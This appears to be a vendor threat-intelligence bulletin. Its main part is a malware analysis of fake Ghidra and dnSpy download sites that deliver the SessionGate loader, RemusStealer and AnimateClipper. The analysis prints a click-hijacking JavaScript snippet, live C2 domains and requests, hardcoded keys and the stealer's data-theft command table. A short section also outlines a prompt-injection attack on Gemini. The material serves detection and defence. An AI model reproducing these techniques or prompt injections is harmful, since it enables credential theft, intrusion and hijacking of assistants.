For the latest discoveries in cyber research for the week of 8th June, please download our Threat Intelligence Bulletin.
TOP ATTACKS AND BREACHES
DentaQuest, a U.S. dental benefits administrator owned by Sun Life, has suffered a data breach after threat group ShinyHunters leaked exfiltrated data. Analysts assessed that 2.6 million accounts were exposed, including names, emails, government IDs, and health insurance details.
Password manager Dashlane has disclosed an attack in which threat actors brute-forced two-factor codes to register unauthorized devices and download encrypted password vaults for less than 20 users. The campaign began May 31 and was contained after lockouts.
The United Nations World Food Programme has disclosed unauthorized access to its Gaza self-registration application, exposing names, identification numbers, mobile numbers, and location data. The breach affected about 600,000 Palestinian households across Gaza, and WFP suspended the platform while responding to the incident.
Russia’s Federal Security Service claims that foreign intelligence agencies hacked mobile devices belonging to senior Russian officials. The alleged spyware operation enabled access to correspondence, calls, geolocation data, contact lists, and covert audio and video surveillance.
Hola, whose Windows browser serves millions of users, has confirmed a supply chain compromise that pushed an unauthorized executable to some users. The file operated as a cryptominer, installed as a Windows service, and excluded itself from Defender. An independent review found impact limited to about 0.1% of users.
AI THREATS
Check Point highlighted an AI security risk after reports that attackers used Meta’s AI support chatbot to seize Instagram accounts. Granting AI agents account recovery authority to change emails or approve requests without identity checks can enable unauthorized access, showing that permissions and verification shape the risk.
Researchers demonstrated a notification-based prompt injection technique called Fake Context Alignment that manipulated Google’s Gemini voice assistant through incoming messages. The attack hid authorization prompts and enabled device control, auto-joining Zoom video calls, and cross-device memory poisoning. Google deployed classifier updates after disclosure.
Researchers described an AI-enabled EDR evasion lab where a threat actor automates malware development and testing against Sophos, CrowdStrike, and Microsoft Defender. LLM-driven agents and an automated Active Directory panel coordinate iterative trials, supporting stealthy post-exploitation tied to ransomware deployment and data theft.
VULNERABILITIES AND PATCHES
Google has released its June Android security patch for 124 vulnerabilities, including CVE-2025-48595, a high-severity Android Framework flaw under exploitation. Local attackers can use the vulnerability to gain code execution and escalate privileges on devices running Android 14 or later.
Cisco has released patches for CVE-2026-20230, a critical Unified Communications Manager and Session Management Edition flaw that allows unauthenticated network attackers to write files and escalate to root. A public proof-of-concept was already published. The bug requires WebDialer enabled, and fixes include 14SU6 and an interim 15.x COP.
SolarWinds Serv-U CVE-2026-28318 has been exploited in attacks against file transfer servers. The unauthenticated flaw lets crafted HTTP POST requests using a deflate header crash the service and disrupt operations. SolarWinds fixed the vulnerability in Serv-U 15.5.4 HF1.
CVE-2026-41089 in Microsoft Windows Netlogon is being exploited in attacks against Windows Server domain controllers. The critical stack-based buffer overflow flaw can allow remote code execution through crafted network requests. Successful exploitation may give attackers SYSTEM-level control of domain controllers in vulnerable Active Directory environments.
Check Point IPS provides protection against this threat (Microsoft Windows Netlogon Remote Code Execution (CVE-2026-41089))
THREAT INTELLIGENCE REPORTS
Check Point Research has investigated a large-scale impersonation and click-hijacking scheme that reroutes downloads from fake open-source sites through a gated traffic distribution system. Impersonating tools like Ghidra and dnSpy, it led to infection by RemusStealer, AnimateClipper, and a new loader called SessionGate.
Check Point Threat Emulation and Harmony Endpoint provide protection against this threat
Check Point Research linked a Dutch seizure of about 800 servers at hosting provider WorkTitans B.V. to Iranian cyber espionage operations. MuddyWater, Agrius, and Nimbus Manticore used this infrastructure for attacks that enabled remote access, credential theft, and scanning.
Check Point researchers have surveyed the 2026 U.S. midterm threat landscape, finding that operations focus on phishing, brand impersonation, and domain abuse rather than ballot tampering. Russian-linked Doppelganger networks cloned major media sites, vote-related domains increased, and exposed ActBlue and WinRed credentials surfaced.
Researchers identified a months-long espionage campaign that covertly siphoned a senior executive’s Microsoft Outlook mailbox at a major global stock exchange. Attackers used legitimate cloud storage services and disguised update tasks to persist and move data in small batches, enabling five months of undetected access.
Check Point Research investigated a large-scale operation that impersonates open-source and freeware projects to capture search traffic, including lookalikes for researcher and security tooling such as Ghidra, dnSpy, and SpiderFoot. The sites are well-designed and often look like legitimate project portals at a glance, sometimes referencing real upstream resources. The deception is not in the page content alone, it’s in what happens when a user interacts.
Our analysis shows these pages load a CloudFront-hosted JavaScript staging layer that converts a click on a “download” button/link into a handoff to a Traffic Distribution System (TDS). The TDS enforces strict gating: first-visit state, mandatory click confirmation, anti-bot/anti-analysis logic, VPN/datacenter filtering, and frequency capping.
The observed ecosystem appears to be built primarily for traffic acquisition and monetization, likely leveraging legitimate ad-tech and monetization tooling, while downstream redirect chains repeatedly led selected users to malware delivery infrastructure.
The downstream branches we analyzed led to multiple malware families, including RemusStealer, AnimateClipper, and the SessionGate framework, which we observed delivering PUA (Potentially Unwanted Applications), suggesting this was not an isolated malicious redirect.
Introduction
When we search Google for a popular piece of software, we usually click the first result, sometimes without even looking at the rest, because official project sites tend to rank highest and appear near the top of the results.
After landing on a site with a professional design and links that appear to point to the project’s official GitHub repository, most users intuitively trust it and proceed to download and run the installer without a second thought. Nothing seems suspicious: the first link in Google, a polished “official-looking” website, and references to the real project. What could go wrong?
Check Point Research investigated a large-scale campaign in which malicious and unwanted software is distributed through a gated traffic-routing stack. The operation relies on professionally built open-source and freeware impersonation sites, where click events initiate routing through a Traffic Distribution System (TDS) — a traffic-filtering and redirection layer that can send different users to different destinations based on factors such as geography, device type, browser fingerprint, or campaign rules — and can ultimately lead to payload delivery.
What makes this campaign especially notable is the choice of brands: a high-risk subset of sites impersonates trusted reverse-engineering tools such as Ghidra and dnSpy, used by security researchers and malware analysts.
Figure 1 – Impersonated websites of popular software tools
The broader phenomenon of websites impersonating popular open-source and freeware projects had already been documented by late 2025. In November 2025, Fullstory reported a large cluster of such fraudulent domains and did not identify direct abuse in their examined samples at the time (including checking hosted archives against known-good content), while emphasizing the clear security risk and the potential for downstream phishing or watering-hole style abuse.
Our findings show that this ecosystem has evolved. We observed that by at least December 2025, the sites in this cluster had TDS scripts embedded into their workflow, and from early January 2026 onward, we recorded active malware distribution via the same infrastructure.
The scale is reflected in VirusTotal telemetry: more than 5,000 total submissions across relevant samples, indicating substantial reach in just the subset visible through public sharing. The real exposure is likely significantly higher.
Figure 2 – VirusTotal total submitters exceeding 5,000, indicating the scale of the operation.
Among the payloads distributed through this TDS infrastructure, we identified several malware families:
SessionGate — A previously unknown multi-stage loader with heavy obfuscation and extensive anti-analysis mechanisms, which makes obtaining the final payload extremely difficult. In the chains we observed, it was used to deliver potentially unwanted applications (PUA). We examine SessionGate more deeply later on this article.
RemusStealer — a newly emerged infostealer designed to steal data from more than 20 browsers and targeting hundreds of browser extensions and applications, including cryptocurrency wallets, two-factor authentication tools, and password managers.
AnimateClipper — A cryptocurrency clipper capable of hijacking transactions across more than 20 blockchain ecosystems.
Importantly, we do not assess these impersonation sites as being built exclusively for malware distribution. The more plausible primary objective is traffic acquisition and monetization. However, by embedding a gated TDS layer and funneling search traffic into it, the operators become part of a distribution chain whose downstream consumers can include malware distributors. The same traffic pipeline that drives gray monetization can also selectively route real users to malicious payloads.
Impersonation, click hijacking, and the post-click routing
Our investigation started with several domains impersonating official project pages and download portals for tools widely used by security researchers.
For relevant queries, some of these “project portals” appeared surprisingly high in search results:
Figure 3 – Fake Ghidra project website in Google search results
What these sites have in common is a shared staging component: their pages load CloudFront-hosted Traffic Distribution System scripts from Amazon CloudFront, a legitimate content delivery network (CDN) service widely used to distribute web content through globally distributed infrastructure. These scripts turn the first “Download” click into a post-click routing chain.
The scripts are fetched from URLs with a consistent pattern, for example:
In total, we identified more than 100 currently active websites embedding these scripts, reusing the same campaign-style identifiers and the same CloudFront domains.
Below are some of the entry domains from the cluster, with an emphasis on impersonated brands that are commonly trusted by technical users:
Security/researcher tooling look-alikes
ghidralite[.]com
dnspy[.]org
ilspy[.]org
Developer/utility tooling look-alikes
grpcurl[.]com
mqttexplorer[.]com
mfcmapi[.]com
winsetupfromusb[.]org
crystaldiskmark[.]org
guiformat[.]com
While we have identified multiple targets that seems to primarily target security researchers, we have not found any strong evidence suggesting we could be dealing with potential targeted attacks. As previously mentioned, ultimate goal seems primarily for traffic acquisition and monetization.
Download button click hijacking
The key trick used on these fake websites is that the “Download” button can look legitimate even to a careful user. The page keeps the original href intact, often pointing to a real upstream destination such as a GitHub release, which means browser UI cues like the status bar on hover still show a plausible target.
Figure 4 – Hovering over the download button reveals the legitimate GitHub repository URL.
At the same time, once the user interacts with the page, the previously loaded CloudFront-hosted JavaScript can intercept the first eligible user interaction and hand it off to a Traffic Distribution System (TDS). The script contains multiple browser-side serving methods — alternative strategies for opening or navigating a tab/window to the TDS-controlled destination.
The default serving method is supplied in the configuration, while the browser-side runtime can still adapt locally based on factors such as browser family, mobile vs. desktop environment, frequency-capping state, and adblock-related logic. In practice, these methods differ mainly in how they preserve a browser-accepted, user-initiated opening opportunity and deliver the final TDS URL. The runtime includes several approaches, including calling a cached reference to window.open, using different primary events in different browsers, opening intermediate or temporary blank tabs that are later navigated to the final URL, or using a synthetic click on a dynamically created <a target="_blank"> element whose javascript: URL assigns window.location.href to the TDS URL.
For example, on desktop Firefox the runtime uses a capture-phase click handler; on desktop Chrome, the corresponding primary event is mousedown. The handler records the user’s intended destination if the interaction occurs inside a link, generates a TDS runtime URL, invokes the selected serving method, and then takes over the original interaction by calling preventDefault() to cancel the normal navigation and stopImmediatePropagation() to prevent other handlers from processing the same event.
A simplified version of the common event-wrapper logic is shown below. The exact invoke() implementation depends on the selected serving method.
The routing logic is also gated by browser-side state and frequency caps, including values stored in localStorage. This creates a reproducibility trap: the first eligible click may route through the TDS chain, while refreshes, repeated clicks, or return visits can fall back to the original visible link target. The script also forwards the clicked link destination downstream, allowing the routing layer to know what the user appeared to be trying to open.
In other words, a click on what appears to be a legitimate link or download button can be converted into a navigation to a completely different URL controlled by the TDS.
window.addEventListener(browser.isChrome() ? "mousedown" : "click", function () {
w = window.open("about:blank", /* ... */);
});
document.addEventListener("click", function (e) {
const el = e.target.closest("a, button");
if (!el) return;
e.preventDefault();
e.stopImmediatePropagation();
window.g(/* ... */, selectedPostClickUrl);
}, true);
window.g = function(/* ... */, u) {
w.location.href = u;
};
Real redirect chains: gating and branching outcomes
After the click handoff, the workflow becomes visible as a sequence of redirects. We observed numerous redirect chain variations. In many cases, repeated attempts to enter the TDS chain from the same IP address resulted in downloads of benign software (for example, the Opera browser). Some chains ended with the delivery of unnecessary, yet non-malicious, browser extensions.
At the same time, other redirect paths ultimately led to the download of malware.
Figure 5 – Some of the observed redirect chains across the TDS infrastructure.
In all of our experiments, the browser was first redirected to a post-click redirector:
oundhertobeconsist[.]org/<token>
However, this domain is not hardcoded in the page or the scripts. It is supplied dynamically through the decoded stage configuration delivered from CloudFront, together with other campaign parameters.
A decoded configuration block observed in multiple cases contained:
The redirector then forwarded the browser along one of several possible branches. Some of the observed variants include:
In one family of redirect chains, users were sent directly to an offer wall / content locker (unlockcontent.org), which may result in affiliate-tagged downloads of legitimate software or potentially unwanted applications (PUA).
In another family, users were redirected into a multi-gate chain (trkscope[.]xyz, file-enter-web[.]com) before reaching the final delivery infrastructure.
The multi-gate path introduces a second branching point after the anti-bot gate (file-enter-web[.]com). From there, sessions can be routed either to a download gate with direct archive delivery (media.stellarcloudhub1[.]cfd, arch2.maxdatahost1[.]cyou) or to a different gated path that bridges to external hosting platforms (observed ending at mega.nz).
The specific redirect path appears to be influenced by multiple factors, including the user’s country, browser type, VPN usage, client fingerprint, click context, and the original entry domain.
SessionGate: From “Benign Installer” to a Gated, Multi-Stage Framework
We have uncovered several malware families as the final payload, including RemusStealer and AnimateClipper, however, one that stood out was a previously unknown malware we named SessionGate.
SessionGate case drew our attention not only because of its multi-stage delivery chain and extensive validation logic, but also due to a rather unusual anti-analysis approach. Combined with the TDS-side gating, it makes obtaining the final payload extremely difficult for analysts.
VirusTotal telemetry indicates broad reach for this branch. Individual samples associated with SessionGate family were submitted thousands of times, with some reaching approximately 2,000 to 3,500 submissions. The observed submission and lookup activity was distributed globally, with especially notable visibility in Turkey, Poland, Brazil, Germany, France, Russia, and the United Kingdom.
Figure 6 – VirusTotal telemetry (submissions and lookups) for an SessionGate sample.
We believe the TDS chain includes a backend service that “registers” the victim’s IP address, after which the victim must traverse the entire redirect path end-to-end. The payload delivered at a later stage appears to be unique per client, generated server-side for each session, and intended for one-time execution. The embedded modules within that payload are encrypted, and the decryption key material is produced based on data provided by the C2 server only once for that specific sample. As a result, a complete decryption and analysis is only possible if the researcher’s environment does not raise suspicion at any stage, and the analyst manages to fully intercept and decrypt all relevant traffic.
In addition, each stage employs obfuscation techniques that effectively undermine static analysis tooling (disassemblers and decompilers) and can even hinder AI-based reverse-engineering agents.
The figure below schematically illustrates the delivery sequence, C2 communication, and the module decryption flow.
Figure 7 – PUA branch infection chain
We identified two landing pages that initiate the download of samples belonging to this family:
originaldownloads[.]info
getfluxfile[.]com
The landing pages look as follows:
Figure 8 – Two landing pages observed delivering SessionGate samples.
Each landing page generates a short-lived, unique payload download URL per client session, bound to the client’s browser and IP address. Examples of generated URLs include:
The HTML page contains obfuscated JavaScript that performs a server-side validation step (performed by
https://javascriptapiusa[.]com/lic?) before allowing access to the payload. The payload is then downloaded using the same name but with .exe extension, for example:
Downloader with a built-in decoy: embedded 7-Zip SFX content
The loader contains an embedded 7-Zip archive, and it can pivot to a benign installer experience when its gated delivery path does not proceed.
This decoy design matters operationally: analysts and automated sandboxes often observe a “normal installer” UI, while the malicious delivery chain remains gated.
One of the first red flags is that the downloaded archive is about 20 MB, yet it contains a file of only 15 MB. The remaining ~5 MB consists of heavily obfuscated loader code.
Figure 9 – The contents of the SFX archive.
Because of the obfuscation techniques in use, including injected junk code, opaque predicates, and string encryption, the resulting functions become extremely bloated. This alone significantly complicates analysis, as it can break parts of common tooling, including IDA’s decompiler and even graph mode. Some functions exceed 500 KB in size.
In addition, encrypted string blobs are placed directly inside function bodies after conditional branches (opaque predicates). This causes disassemblers to misinterpret the string data as executable code, which further disrupts analysis and can prevent tools from correctly identifying function boundaries in the first place.
Figure 10 – Bogus math, opaque predicates and encrypted strings in the analyzed samples
However, this obfuscation method is very characteristic and follows the same patterns, allowing for easy identification of other samples of this family.
The sample also runs multiple environment checks that influence whether it proceeds with malicious delivery or falls back to decoy behavior. The loader checks for the presence of certain services, but the service names are not stored plainly. Instead, it compares Adler-32 hashes against constants, effectively hiding the indicator list.
In addition to services, the loader also enumerates running processes (Toolhelp-based scanning). Here too, the indicators are not kept as plaintext: they are compared via hash-based logic (SHA1 table approach), again reducing the value of simple string hunting.
Finally, the loader checks system context such as:
Windows Defender PUA/PUS-related registry settings (e.g., PUAProtection, MpEnablePus)
Windows “Enterprise” edition detection (by inspecting the ProductName string)
Taken together, these checks ensure that malicious activity is only launched on systems where it is most likely to go undetected.
Stage 1: The Loader’s C2 – Multi-Step “Check-in” With Gating
Once executed, the loader attempts to contact its C2 and perform several check-in steps before it tries to retrieve the next-stage payload.
In the campaigns we analyzed, one observed C2 domain was:
appfreshstart[.]com
We also observed related campaigns using domains such as:
appgetonline[.]com
webinnosetup[.]com
appmakingcenter[.]com
The loader’s C2 requests use a distinctive URL structure consisting of multiple path segments and a query suffix, and uses a specific User-Agent string NSIS_InetLoad (Mozilla). The pattern looks like:
The values in the <tokenX> fields are stored enrypted in the sample and are unique per campaign. They are also used to identify specific stages, for example:
check-in;
check-in after privilege elevation;
payload request.
When constructing the URL, the loader incorporates random tick-derived values, a timestamp, and a signature calculated as SHA1({base_path}/{timestamp}/{salt}), where salt is a shared secret known to both the sample and the server.
In the analyzed sample, salt = "118107B05C590076239FF759CD9E5".
Example request:
GET https://appfreshstart.com/06A3AEF73537C68C/00507206521/26203FA83EC99DDE/77035662512?FF584F0057B9F6F81770356625 HTTP/1.1
Host: appfreshstart.com
User-Agent: NSIS_InetLoad (Mozilla)
Accept: /
For check-in requests, the server responds with a hex string. The loader then sums all decimal digits in that string. If the resulting value is even, execution is aborted.
We observed this behavior when attempting to download the payload again from the same IP address, and also when the sample was obtained outside of the intended TDS chain.
Using a similar request structure, but with different tokenA and tokenB values, the loader requests the next-stage payload from the server. At this step, the server can also block delivery: in our experiments, we occasionally received an empty response. In some campaigns, the payload was additionally encrypted.
We observed multiple variants of the loader. In some cases, the downloaded payload was executed directly from memory, while in others it was written to disk. For disk-based execution, the loader creates a temporary directory and file under %TEMP%. The downloaded file is then launched with two command-line arguments, for example:
The second-stage binary is another large Windows GUI executable (usually up to 10MB) that impersonates a legitimate 7-Zip SFX installer. Its string-encryption and code-obfuscation style is highly consistent with other samples in the same delivery framework.
Notably, it contains a PDB path: D:\\code\\cpp-downloader-scb-reg-other\\Plugins\\7ZipDownloader\\Output\\SFXWin.pdb. We used this artifact for pivoting and found 200+ similar samples on VirusTotal, with the earliest ones appearing in late August 2025.
On launch, the sample checks its command line: the first argument must look like a numeric token, and the second must look like a base64 string. The base64 blob is then further decrypted and validated by an embedded module (described later). If the checks fail, the sample falls back to the benign 7-Zip SFX behavior, showing a normal “installer/extractor” flow.
Figure 11 – Very low VT detection rate of the 2nd stage payload samples.
When the gate passes, the binary reads its own on-disk image, extracts two embedded DLL payloads, and decrypts them using AES-CBC. The modules are not written to disk: they are loaded via in-memory PE manual mapping (often referred to as reflective / manual-map loading), and execution is transferred through exported functions.
DLL #1 is decrypted first using a key derived locally:
key1 = SHA256("WDNkCQnmXc" || tail32) where tail32 is a 32-byte slice from the loader’s file image.
After mapping DLL #1, the loader resolves and calls an export named c1, passing the loader’s own SHA-256 hash (uppercase hex string) and an output buffer.
The output of c1, combined with a second hardcoded string constant, is used to derive the key for DLL #2:
The loader then decrypts and maps DLL #2 the same way and calls its exported entry point (observed as mainFunc), passing through the original command-line arguments.
However, we encountered major problems while decrypting DLL #2. The problem is that the output of function c1 is not static, but depends on the data returned by the C&C server.
DLL #1 – “Key Broker” module
After the stage-2 SFX loader decrypts and maps DLL #1 in memory, it resolves and calls an exported function named c1. From the loader’s point of view, DLL #1 acts as a key broker: it performs strict gating based on the process command line, contacts a dedicated “CRC” C2 endpoint, transforms the server response into a short token, and returns it to the loader. The loader then mixes this token with a hardcoded value to derive the AES key material for decrypting DLL #2.
Command-line gating
First, the module performs the same command line check as the parent executable: the first argument must look like a numeric token, and the second must look like a base64 string.
Then it decodes the base64 string from the second command line argument using AES-256-CBC with a fixed hardcoded key BFEA4EE8EF934BE7A2B4C64A0BAD1E92 (32 bytes; not hex-decoded) and a zero IV.
It skips the first 32 bytes and treats the remaining bytes as a UTF-16 string. In the samples we analyzed, this string holds a path-like marker such as:
C:\\Users\\user\\Desktop\\SetupFile_411815.exe
The decrypted value is then validated by checking the filename suffix pattern: the filename must contain an underscore followed by 3-10 lowercase alphanumeric characters, and end with an extension (e.g., _411815.exe). This check is important operationally: it prevents the module from functioning correctly when executed outside of the intended delivery flow. If any of these checks fail, the DLL exits early and returns no usable output, that leads to the loader’s “benign SFX fallback” flow.
In addition to command-line gating, DLL #1 runs lightweight anti-analysis checks. In particular, it checks the local environment against hardcoded blacklists derived from:
SHA-256 of the current username and computer name, and
MD5 hashes of ntdll.dll export names (a common way to detect non-standard runtime environments such as emulation layers or heavily instrumented sandboxes).
When any blacklist condition matches, the module aborts before contacting its key server.
Key request: C2 receives the loader’s hash, returns per-build token material
If the gate passes, DLL #1 contacts a dedicated “CRC” C2 domain (observed variants include):
yourfastcrc[.]com
mobileversioncrc[.]com
webcrcprove[.]com
integritycrc[.]com
The request follows a consistent pattern:
https://<crc-domain>/check_version?version=<hash>
The value passed in version= contains the uppercase SHA-256 hex hash of the stage-2 loader itself and is provided by the stage-2 loader when calling c1.
The C2 response is a short ASCII string, for example:
DLL #1 uses the first 64 characters and performs a deterministic transformation to produce a 32-character base62 token, which it returns to the loader via the output buffer. For the example above, the resulting value is:
q2lOy0GwLqW1yRwIYAzH33CjBV9PoRrA
The loader then combines this c1 output with a hardcoded constant to derive the AES key material for DLL #2.
Implication: per-client, one-time keys and strong server-side gating
In controlled experiments, we repeatedly observed that the “CRC” C2 endpoint can return different values across requests for the same version=<hash>. This behavior aligns with the broader design of the campaign:
The stage-2 payload appears to be generated per client session, and
DLL #2 cannot be decrypted unless the correct c1 output is obtained for the matching build.
Based on traffic captures and repeated retrieval attempts, our working assessment is that the “CRC” C2 likely implements one-time key release semantics and additional gating tied to victim context, such as the originating IP address / session state. In practice this means:
the correct key material may be released only once for the intended victim session, and
subsequent requests (or requests from a different IP) may be answered with a valid-looking but non-functional random string, causing the stage-2 loader to decrypt DLL #2 into garbage rather than a valid PE image.
This design significantly complicates research. Even when an analyst captures a full redirect chain and obtains a sample quickly, the server-side constraints can prevent reliable reproduction of the key exchange needed to decrypt and analyze the final payload (DLL #2).
DLL#2 – Decrypted Payload: The “Installer/Offer Framework” Module
After we succeeded in capturing a clean end-to-end delivery run and decrypting the embedded modules, we obtained a second-stage DLL that implements the real business logic: tracking, configuration retrieval, payload selection, download, and silent execution.
This section describes that decrypted module and its capabilities.
In this sample, we observed the same code patterns and obfuscation techniques as in all previously analyzed modules, which clearly indicates that they belong to the same malware family.
The decrypted payload is best described as a network-controlled installer/bundler framework. It is designed to look and behave like a legitimate installer when observed superficially, while quietly performing a server-driven download-and-execute workflow in the background.
Importantly, we did not observe stealer or RAT behavior in this module: there is no evidence of credential theft, browser database scraping, keylogging, or interactive remote control. Instead, the module is intended for configurable delivery (server-controlled payload URLs), and silent installation of additional software.
From a defensive perspective, this still makes it high-risk. Any component that can fetch configuration from a remote server and then download and execute binaries on demand is a delivery primitive that can be abused to distribute malware.
A quick map of the core workflow
At a high level, the DLL implements the following pipeline:
Build encrypted request.
Retrieve encrypted config from C&C server (appmakingcenter[.]com in the analyzed sample).
Decode config into key/value table, fetch download URL.
Download payload.
Execute silently via cmd.exe .
Send telemetry/tracking events
The implementation is structured around a small set of reusable building blocks:
an encrypted “panel protocol” over HTTPS,
a configuration decoder and parser,
downloaders,
a silent process launcher,
multiple tracking/telemetry helpers.
Figure 12 – C&C domain, and endpoints in the decrypted strings.
What software does it appear to install?
The decrypted module contains many product-facing strings (installer UI text, product names, and expected post-install executable paths under AppData\\Local\\Programs\\...). At first glance, this looks like a hardcoded “bundle portfolio” (PDF Spark, PDF Proton, PDF Ignite, PDF Skill, Document Sparkle, NibblrAI, PCPooch). However, as we described above, the DLL is a multi-product installer shell driven by server configuration, not a collection of fixed download links.
Figure 13 – The list of products that can be installed.
Concretely, the module retrieves an encrypted backend configuration, decodes it into an internal key/value table, and then:
uses a numeric product identifier from the table (config key 22) to select which product branding/UI texts to display, and which expected executable path to use for post-install launch (via CreateProcessW);
uses a download URL from the same table (config key 11, PRODUCT_DOWNLOAD_URL) as the input to its WinINet downloader.
This design explains why you can see many product names and installation paths in the DLL while not seeing their download URLs as plaintext: the URLs are supplied dynamically by the backend.
Finally, if the backend config is missing key 11, the parser initializes PRODUCT_DOWNLOAD_URL to a hardcoded 7-Zip installer URL (https://www.7-zip.org/a/7z2301-x64.exe), which can be overridden by a full server response.
Case 2: RemusStealer
In the second case we analyzed, the TDS redirection chain ends with a landing page that provides a link to download a password-protected ZIP archive and the password required to open it.
Figure 14 – Link for downloading a password protected archive.
The archive is approximately 14 MB, but after extraction it contains a single executable whose on-disk size is about 850 MB. The file is artificially inflated by large zero-filled padding: the actual non-zero content is roughly 32 MB once the padding is removed.
This inflation is a practical evasion technique. Oversized binaries can slow down or break automated processing (static unpacking, AV scanning pipelines, sandbox analysis) and can also bypass tooling or policies that impose file-size limits or timeouts during analysis.
The executable itself is a first-stage loader written in Go. It contains an embedded malicious payload in .rdata that is decoded at runtime using a simple transform, and is executed via manual PE mapping.
Payload: Remus Stealer
The embedded second-stage payload is a C2-controlled infostealer marketed as Remus (a MaaS stealer). The first public listing we observed for “Remus” was posted on a Russian-language underground forum by a user named RemusStealer on February 12, 2026.
According to the vendor advertisement, Remus is positioned as a subscription product (two tiers advertised at $250 and $500) with a focus on broad browser and extension collection, a custom exfiltration protocol with encryption, and heavy use of low-level OS interaction (“system calls”).
RemusStealer implements the following functionality:
C2-driven collection (“tasking”): the server defines what is collected per run by sending encrypted JSON tasks; multiple tasks can be executed sequentially until the server signals completion.
Browser data theft:
Chromium family: History, Login Data, Login Data For Account, Network\\Cookies, Web Data
Chromium key material: extracts the master key from Local State via DPAPI (CryptUnprotectData) and uploads it as a separate /Key artifact.
Extension-driven theft: the server can pass an explicit list of extension targets (extensions[] objects with {name, path}), allowing selective collection.
File system search + exfiltration: server-controlled search rules (path, mask, depth, size limit, link handling) with %ENV% expansion (e.g., %APPDATA% paths).
Registry reconnaissance: server-controlled queries of arbitrary path/value pairs, with HKCU-relative support and WOW64 view retry logic.
Clipboard theft: captures CF_UNICODETEXT, exfiltrated as Clipboard.txt (collected once per run).
Screenshot capture: supported and exfiltrated as Screenshot.bmp when enabled by an internal flag (not unconditional in this build).
Operationally, this architecture gives the operator fine-grained control over collection scope. For example, the backend can define which browser extensions to target, which file name patterns to search for, which registry values to query for environment profiling, and so on.
Tasking protocol overview
The binary contains an encrypted C2 list that is decrypted at runtime. In the analyzed sample, the decrypted C2 endpoints were:
http://buccstanor[.]pics:28313 (primary)
http://baxe[.]pics:48261 (fallback)
The stealer polls the C2 using HTTP POST requests that include an access_token and an incrementing step counter. The requests use a Firefox browser User-Agent string, to blend in with normal browser traffic:
POST / HTTP/1.1
Cache-Control: no-cache
Connection: Keep-Alive
Pragma: no-cache
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
Content-Length: 56
Host: baxe.pics:48261
access_token=57fe0587-863c-432d-9f4b-bf785a9560e8&step=1
Each server response is an encrypted JSON object with keys:
type — numeric command type (parsed as a number and used as an integer selector)
data — command parameters (object or list, depending on type)
name — base64 string used by type=0
extensions — list of {name, path} objects used by type=3 and type=4
Task responses are delivered as encrypted JSON. After decoding, entries resolve into a label and extension identifier, with occasional control flags (sync, indb) used by the malware logic.
A decrypted example task instructing the stealer to collect Chrome browser extension data looks as follows:
Notably, the identifiers are not limited to Chrome Web Store-style IDs: the list also contains email-like IDs (e.g., webextension@…) and GUID-style identifiers, suggesting the operator’s targeting list is designed to cover multiple browser ecosystems and packaging schemes.
The agent executes tasks in a loop until the server returns a stop command.
Implemented commands
Task type
Purpose
Expected fields
What the stealer does
0
File-system search + exfiltration
data contains: path, mask, depth, size, link; plus top-level name (base64 label). path supports %ENV% expansion.
Expands %ENV% paths, traverses directories with filters/limits, collects matching file contents, packages results, and uploads them to C2.
1
Reserved / no-op (this build)
type only
No task handler is executed. The agent performs only the standard loop housekeeping and proceeds to the next step.
2
Registry reconnaissance (arbitrary value queries)
data is a list of objects with: path, value, name
Opens keys via native NT registry APIs, queries requested values, retries using an alternate WOW64 view when needed, supports HKCU-relative paths, and returns results as labeled artifacts.
Uses extensions ({name, path}) and additional control flags from data (e.g., history, plus short flags observed as indb/sync).
Collects Chromium artifacts (History, Login Data, Cookies, Web Data), extracts key material from Local State via DPAPI (CryptUnprotectData), and uploads the decrypted blob as a /Key artifact.
4
Firefox/NSS profile discovery + profile theft
Uses extensions ({name, path})
Searches for profile directories by checking for \\key4.db; when found, collects the Firefox/NSS artifact set (including key4.db, cert9.db, cookies.sqlite, logins.json, places.sqlite, prefs.js, extensions.webextensions.uuids) and uploads them.
5
Stop / end of tasking
type only
Signals completion: the agent exits the task loop and proceeds to its post-task upload sequence before terminating.
Case 3: ClickFix, and a Crypto Clipper with On-Chain C2 Resolution
In this TDS branch, the user is ultimately led to a ClickFix-style phishing page (processing-in-progress-x4.t3.storage[.]dev), after which the infection chain proceeds to silently install a cryptocurrency clipper malware that some vendors identify as AnimateClipper.
Figure 16 – A phishing page using the ClickFix technique to trick the victim into silently running a malicious downloader.
The page that imitates a Cloudflare verification screen and instructs the user to run:
mshta.exe is a built-in Windows utility intended to run HTML Applications (HTA). It is often abused by threat actors because it can execute script-based content directly from a remote URL using a system binary already present on the machine.
The object fetched from https://185.0xA1.0xFB[.]58/navy.7z is not a normal 7-Zip archive. Its beginning contains an HTA page with obfuscated VBScript, which mshta.exe executes. The appended archive content is benign decoy data and does not participate in the infection chain.
Despite the .rtf extension, this resource is a heavily obfuscated PowerShell script. After deobfuscation, we found that it reconstructs an additional PowerShell stage in memory and uses an RC4-based routine to decrypt the next payload.
This file also does not match its extension. In the observed chain, it is a ZIP archive containing a bundled Python environment, third-party libraries, Node.js modules, and a large heavily obfuscated Python script stored in node_modules.asar. Despite its name, node_modules.asar is not an Electron ASAR archive, but a Python loader disguised to blend in with the package contents.
The obfuscated script embeds a large shellcode blob directly in its body and launches it from memory. It copies the shellcode into a buffer, changes the memory protection to executable, and transfers execution to it via ntdll!LdrCallEnclave. In the sample we analyzed, the shellcode is executed in-process, inside the current bundled Python interpreter.
Once running, the shellcode acts as an in-memory loader for the next stage. It decrypts and decompresses an embedded payload container and manually maps the resulting PE payload into the same process memory. In other words, node_modules.asar is not a passive archive or Electron artifact, but the actual Python-based launch stage that executes shellcode and hands off execution to the next payload without writing the unpacked PE to disk.
Final payload: crypto clipper with on-chain C2 resolution
At a high level, the final payload is a clipboard-hijacking crypto clipper: it continuously monitors the clipboard for cryptocurrency wallet strings, identifies the wallet format locally, replaces the copied address with one of multiple attacker-controlled wallet addresses embedded in the sample, and writes the modified value back to the clipboard. In practice, this means a victim can copy a legitimate wallet address, paste it moments later, and unknowingly send funds to the attacker instead.
When executed, AnimateClipper first resolves its C2 by querying a smart contract over the public BNB Smart Chain Testnet JSON-RPC endpoint. The sample issues the following request:
POST https://data-seed-prebsc-1-s1.binance.org:8545/
{"id":1,"jsonrpc":"2.0","method":"eth_call","params":[{"to":"0x6936edc505501EBB2F202C985a021a06f1c10C9E","data":"0x3bc5de30"},"latest"]}
At the time of our analysis, the contract response resolved to the C2 domain:
kr.hugo-lapp.co
